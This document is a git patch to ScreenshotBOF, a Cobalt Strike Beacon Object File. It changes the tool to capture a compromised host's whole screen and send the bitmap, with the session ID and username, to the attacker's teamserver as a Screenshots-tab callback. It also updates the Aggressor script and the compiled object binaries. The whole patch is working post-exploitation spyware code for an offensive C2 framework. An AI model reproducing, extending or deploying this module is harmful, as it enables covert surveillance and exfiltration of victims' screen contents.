From f6fd0e67383c84fac60cf7f4c65118a9a4381a6a Mon Sep 17 00:00:00 2001 From: BinaryFaultline Date: Wed, 26 Oct 2022 16:01:17 -0500 Subject: [PATCH 1/3] Modified tool to send screenshot to Cobalt Strike's Screenshots tab instead of Downloads. It should be noted that it doesn't render in the Cobalt Strike GUI since it's not in JPG format --- ScreenshotBOF/Source.cpp | 200 +++++++++++++--------------------- ScreenshotBOF/beacon.h | 1 + ScreenshotBOF/bofdefs.h | 9 ++ bin/BOF/ScreenshotBOF.x64.obj | Bin 6978 -> 6396 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 5422 -> 4935 bytes bin/BOF/screenshotBOF.cna | 16 +-- bin/screenshotBOF.zip | Bin 6093 -> 0 bytes 7 files changed, 88 insertions(+), 138 deletions(-) mode change 100644 => 100755 bin/BOF/ScreenshotBOF.x64.obj mode change 100644 => 100755 bin/BOF/ScreenshotBOF.x86.obj delete mode 100644 bin/screenshotBOF.zip diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index ad212e0..8e5cdde 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -5,136 +5,77 @@ #pragma comment(lib, "User32.lib") #pragma comment(lib, "Gdi32.lib") -char downloadfilename[] = "screenshot.bmp"; -/*Download File*/ -void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { +/*Download Screenshot*/ +void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +// Function modified by @BinaryFaultline - //Intializes random number generator to create fileId - time_t t; - MSVCRT$srand((unsigned)MSVCRT$time(&t)); - int fileId = MSVCRT$rand(); +// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs +// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me. - //8 bytes for fileId and fileSize - int messageLength = downloadFileNameLength + 8; +// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) { +// bw.Write(session); +// bw.Write(title.Length); +// bw.Write(Encoding.UTF8.GetBytes(title)); +// bw.Write(userName.Length); +// bw.Write(Encoding.UTF8.GetBytes(userName)); +// } + +// var screenshotCallback = new BinaryWriter(new MemoryStream()); +// screenshotCallback.Write(jpgData.Length); +// screenshotCallback.Write(jpgData); +// WriteSessionUserNameTitle(screenshotCallback, session, userName, title); + int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen; char* packedData = (char*)MSVCRT$malloc(messageLength); - //pack on fileId as 4-byte int first - packedData[0] = (fileId >> 24) & 0xFF; - packedData[1] = (fileId >> 16) & 0xFF; - packedData[2] = (fileId >> 8) & 0xFF; - packedData[3] = fileId & 0xFF; + // //pack on jpgLen/fileSize as 4-byte int second + packedData[0] = jpgLen & 0xFF; + packedData[1] = (jpgLen >> 8) & 0xFF; + packedData[2] = (jpgLen >> 16) & 0xFF; + packedData[3] = (jpgLen >> 24) & 0xFF; - //pack on fileSize as 4-byte int second - packedData[4] = (fileSize >> 24) & 0xFF; - packedData[5] = (fileSize >> 16) & 0xFF; - packedData[6] = (fileSize >> 8) & 0xFF; - packedData[7] = fileSize & 0xFF; + int packedIndex = 4; - int packedIndex = 8; + // //pack on the bytes of jpg/returnData + for (int i = 0; i < jpgLen; i++) { + packedData[packedIndex] = jpg[i]; + packedIndex++; + } + + //pack on session as 4-byte int first + packedData[packedIndex] = session & 0xFF; + packedData[packedIndex + 1] = (session >> 8) & 0xFF; + packedData[packedIndex + 2] = (session >> 16) & 0xFF; + packedData[packedIndex + 3] = (session >> 24) & 0xFF; - //pack on the file name last - for (int i = 0; i < downloadFileNameLength; i++) { - packedData[packedIndex] = fileName[i]; + //pack on titleLength as 4-byte int second + packedData[packedIndex + 4] = titleLen & 0xFF; + packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF; + packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF; + packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF; + + packedIndex += 8; + + //pack on the bytes of title + for (int i = 0; i < titleLen; i++) { + packedData[packedIndex] = windowTitle[i]; packedIndex++; } - BeaconOutput(CALLBACK_FILE, packedData, messageLength); + //pack on userLength as 4-byte int second + packedData[packedIndex] = usernameLen & 0xFF; + packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF; + packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF; + packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF; + + packedIndex += 4; - if (fileSize > (1024 * 900)) { - - //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) - int numOfChunks = (fileSize / (1024 * 900)) + 1; - int index = 0; - int chunkSize = 1024 * 900; - - while (index < fileSize) { - if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on - - /*First 4 are the fileId - then account for length of file - then a byte for the good-measure null byte to be included - then lastly is the 4-byte int of the fileSize*/ - int chunkLength = 4 + chunkSize; - char* packedChunk = (char*)MSVCRT$malloc(chunkLength); - - //pack on fileId as 4-byte int first - packedChunk[0] = (fileId >> 24) & 0xFF; - packedChunk[1] = (fileId >> 16) & 0xFF; - packedChunk[2] = (fileId >> 8) & 0xFF; - packedChunk[3] = fileId & 0xFF; - - int chunkIndex = 4; - - //pack on the file name last - for (int i = index; i < index + chunkSize; i++) { - packedChunk[chunkIndex] = returnData[i]; - chunkIndex++; - } - - BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); - - } - else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements - - int lastChunkLength = fileSize - index + 4; - char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength); - - //pack on fileId as 4-byte int first - lastChunk[0] = (fileId >> 24) & 0xFF; - lastChunk[1] = (fileId >> 16) & 0xFF; - lastChunk[2] = (fileId >> 8) & 0xFF; - lastChunk[3] = fileId & 0xFF; - int lastChunkIndex = 4; - - //pack on the file name last - for (int i = index; i < fileSize; i++) { - lastChunk[lastChunkIndex] = returnData[i]; - lastChunkIndex++; - } - BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); - } - - index = index + chunkSize; - - } - - } - else { - - /*first 4 are the fileId - then account for length of file - then a byte for the good-measure null byte to be included - then lastly is the 4-byte int of the fileSize*/ - int chunkLength = 4 + fileSize; - char* packedChunk = (char*)MSVCRT$malloc(chunkLength); - - //pack on fileId as 4-byte int first - packedChunk[0] = (fileId >> 24) & 0xFF; - packedChunk[1] = (fileId >> 16) & 0xFF; - packedChunk[2] = (fileId >> 8) & 0xFF; - packedChunk[3] = fileId & 0xFF; - int chunkIndex = 4; - - //pack on the file name last - for (int i = 0; i < fileSize; i++) { - packedChunk[chunkIndex] = returnData[i]; - chunkIndex++; - } - - BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + //pack on the bytes of user + for (int i = 0; i < usernameLen; i++) { + packedData[packedIndex] = username[i]; + packedIndex++; } - - //We need to tell the teamserver that we are done writing to this fileId - char packedClose[4]; - - //pack on fileId as 4-byte int first - packedClose[0] = (fileId >> 24) & 0xFF; - packedClose[1] = (fileId >> 16) & 0xFF; - packedClose[2] = (fileId >> 8) & 0xFF; - packedClose[3] = fileId & 0xFF; - BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); - + BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength); return; } @@ -152,7 +93,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap) { HDC hDC; int iBits; @@ -226,8 +167,18 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those + // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded + DWORD session = -1; + KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); + char* user; + user = (char*)getenv("USERNAME"); + char title[] = "Right-click this and Save to view"; + + int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); + int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); + downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -240,10 +191,6 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) #ifdef BOF void go(char* buff, int len) { datap parser; - char * downloadfilename; - BeaconDataParse(&parser, buff, len); - downloadfilename = BeaconDataExtract(&parser, NULL); - BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -270,11 +217,10 @@ void go(char* buff, int len) { CloseClipboard(); */ - BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); - LPCSTR filename = (LPCSTR)downloadfilename; - SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename); + BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); + BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"..."); + SaveHBITMAPToFile(hBitmap); - //BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/ScreenshotBOF/beacon.h b/ScreenshotBOF/beacon.h index bfcf21f..d49833e 100644 --- a/ScreenshotBOF/beacon.h +++ b/ScreenshotBOF/beacon.h @@ -47,6 +47,7 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); #define CALLBACK_FILE 0x02 #define CALLBACK_FILE_WRITE 0x08 #define CALLBACK_FILE_CLOSE 0x09 +#define CALLBACK_SCREENSHOT 0x03 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); diff --git a/ScreenshotBOF/bofdefs.h b/ScreenshotBOF/bofdefs.h index c0517b7..c55419b 100644 --- a/ScreenshotBOF/bofdefs.h +++ b/ScreenshotBOF/bofdefs.h @@ -231,6 +231,10 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); +DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId); + @@ -358,6 +362,11 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu #define GetUserNameW ADVAPI32$GetUserNameW #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent + +#define getenv MSVCRT$getenv +#define GetCurrentProcessId KERNEL32$GetCurrentProcessId +#define ProcessIdToSession KERNEL32$ProcessIdToSessionId + #else #endif diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj old mode 100644 new mode 100755 index c069e07a4389a49ec1d43c419cd8a8e54de6434d..4a28c4704195eddcd7e1266c865a2086577f3734 GIT binary patch literal 6396 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 Qnu=lOp0gCG-E&p`17NIe_y7O^ literal 6978 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 literal 5422 zcmds5ZERE589u=w7zjz&+(JJwEVL=vmKz7 zQb3-z+};IsQq`?fC+$b8^#@bY$|xXy#A&vqQ#J*bX{nY?2BlM2{3B9RHLaqt=bUq| zzbG2hX8bvnqfyYUoi&$qFK-Bh%0B} zl|8-22&$EkO%_7lTPv7)G0;eIi^JGYVR|}{*KUnd6?BCwH1ug;&B~nkf?8qy}+gao5xr%swlm&laaWi zy{C^4Hk?UER4#Mi<-O$a#=S?rIRP^WP)hY!eLEL zL$U<*IpEpWFf7c~oG7r`3QtsNN|UG1ZP7a?JO(?7?#p@zvI8(H3`?02!c6Vc6CX|R z_`Ntp-_fnoo2(;JX(DM=r5jpKXp5PWGs$Zg3bYpz)(hFP|}IaY}|#^?l+6B(nksLA|lO`1(4i&SYA%dl529e50C7CM2= zWszoITR&K#(TT)xkxD1#r!?sX!oAcQULnGTJ$HVlk`Gqv>g)MJgV~<~a$-7(} zql;{oF*?myti)c~Rz7q?s8-X(y>z<#!YycM(sUwOtV&lk`D$iEBkBwHjrzg^qrM=5 zoBXOU>bf8=B8WO@>lhs`<|ZtvQVIc)Q;CrxRZd}}S?Kg`nnFyZ1&cJU$rTnk_1cQT zB260SK^vdH$qdFg-moT7!`Z5(MefvPO}?D#RQkS7r61^2`aw?VfQ4X zQ!~t|8Sd1KMrZa?8}le_kw&>kGs2@$?$Ib#8P;kvo$HY%En1{$Ra(4T|DSvJ?taYt zlWmESVpYDR(My?}gB6?8q~-ig+%*E_IlfhKf-16GHF=v0ir4UX}QD=d@0hF3(pd2Ih*-uD!;>->FK=^N)hCo?UyL zWt2`;UY=ilbt8v#c}RNiaCoC8TlKNV=(#G0GTtNx@EtF-Y26;Y{;uJl78&Y4rwyb(dpBHeC`}~>rbxWXcz>{n!R#q4kr5}A zB3l|kV!||p3wWmuxzE>=E}<1*v5p{8zmmiVc3sh zhuVsEs`4VTkxEDEK1SUCPqPPjch|a&Y7W`X)z5fu7|k0#wb>ApZ9= zpG(N6K!ST4|M3NP9Y}D!I30rf8Ia%(t~9tS88i#DmXDVP64rmKgpg9s?FHJz(Lo?P zM@KT~B#`jvGSFr&-L;C4EgZRk*qW4(7lA4{>H!kbJqNUvb3;H+ar9fDr#TwWNN;7N z{{#|IdmIN{cvK6tjrTa1K|!GBz}ZM2P!*TH0`v?=-#&5W*MD35U3KXvOMfkYqq+8E z%bFiI9NTz$`>M?k-+21s{F6WW{4X0G+4d2Xd2t3KJ$;T)$A>>yS#%Hoh%Cg}sRZJV znwp;ya!xS0_d+Zbu@ois-q|MiPKbqr&U99&qul!-77{w_M##$StN$Jqh}Bq7UYO1b zl6yO35=#-gAF{Ie_g}D$gi`6-zq_`62Rj(Nw?${_cd;GLdkJRu_FeWurkSHvI?%IEW6+3uB)wViXxpT zO~^8Vc&NQw`QI9i{1)!qUTX|52J$K0_&U|n9!Bk~&zGS~V|UzHw=-!qrJM={m8L*ntZ+yO#dzqKap}9X^$_(SJo~#N z?Sbxw?(Rr1+p$3Ei3Ga}!^##T4*ve8idcCAa6hi(Oe-8|RRZ0iR}@2B;3jj%jey3S zwVB`)7$jpC=9*L>ZpPP}ti6)&d3+_S>`{7xeJ>m9V~_#ncmWxU;(Lv$KPPJnRO2BW zf*sj|(Ts!PbRKOuf@5)@=794U+2`jUg8WJ}8i_K|0WLboL_T~HI?(8DlN!8j5u+>Q PvQGN_PN%og1=aroz!qKK diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index bb9bbbc..5baad1a 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -6,23 +6,17 @@ beacon_command_register( ); alias screenshot_bof { - local('$barch $handle $data $args $target_pid'); - if (size(@_) != 2) - { - berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp"); - return; - } + local('$bid $barch $handle $data $args $target_pid'); + $bid = $1; # figure out the arch of this session - $barch = barch($1); + $barch = barch($bid); # read in the right BOF file $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); - $args = bof_pack($1, "z",$2); - # announce what we're doing - btask($1, "Running screenshot BOF by (@codex_tf2)"); + btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); # execute it. - beacon_inline_execute($1, $data, "go", $args); + beacon_inline_execute($bid, $data, "go"); } diff --git a/bin/screenshotBOF.zip b/bin/screenshotBOF.zip deleted file mode 100644 index 47aff69e1af7034d5bb8998cd90c48bda0889e6a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6093 zcmZ`-bySqy-la}<#8bUgx8zcp3xOiiI z@3-E2&$HIq=d9M3?=ijj>5$#0c_>AO#GTO0X z*H$f_0WFYT<^P&EP}3clxtZc_-PQ8!R((s%h%1qv5=?;JKjRh=)vul4-z|5U)W)k}( z0jVstvR-Ng!TT@@<-A|u*TL5lef_ewU5un5aFuEvO86q4wa!$|QZZ)O(6pbt9b%P` zqyEdx{(fW5?EgCV3e`}zCcw4C|FP9FR7gk^|L&aj|LdHukN}sfrQ?)Au#}ww5=2X(GmqOD2jS(WpiQPH<_8!pmHjcBT_8=<7c|MG?(~z~t@KL*(?ORiP*ycZ zJ72BHNG!HabzV89dH|Y>Oq67=>+mA6*|CIxgXd{%u@mQDo6kkiwMfdPhlc-=L(%(%Gi9T?VoI6sEi z&s?~y4=VefS;}=!bq7wYY_rYt`}cADFr&CL_J;IF{#;2w&{W8?*vLc_7hVZ9I`=QT zj_&STt-4$pIs^hfOO#!BbSz>9RVcNo*tFZfcJf$O? z(zS2v+v=(uB2yJtfa`@%Q>&z_e#7&z1AzBw8dY~jYo{Bi-!GtRNm}C)%Ds(^d7G*3 z`gvx8YIcpKxR{&WI-P1rph^(NGSr=0BW57;`?Asb&_x6O{r%y|b#PPl_ZSea%{uFM zNuFedVKu0cT&-X)?Sd2PPQReY{6`UA{IAIEqphe1#tjQ(G1eD2ybB=&kp=IaEC*pD z4DaO(KXCGq)Y#D9pd+5!d>=V)aSn080u;u*TWDwi)q3}p@pZ?!&$*=K zjDym9EAX*qOBmtqI}w$d-oENy|M~PqpkL}~;^e_ILGss8+ZJ(nWX*NZ zV2d=NG_EuI8cSN7jX)>=yLY#^8$RGAd_Txw_=b>ge~({f&(v!v%%$wt35&Xx{U_2} 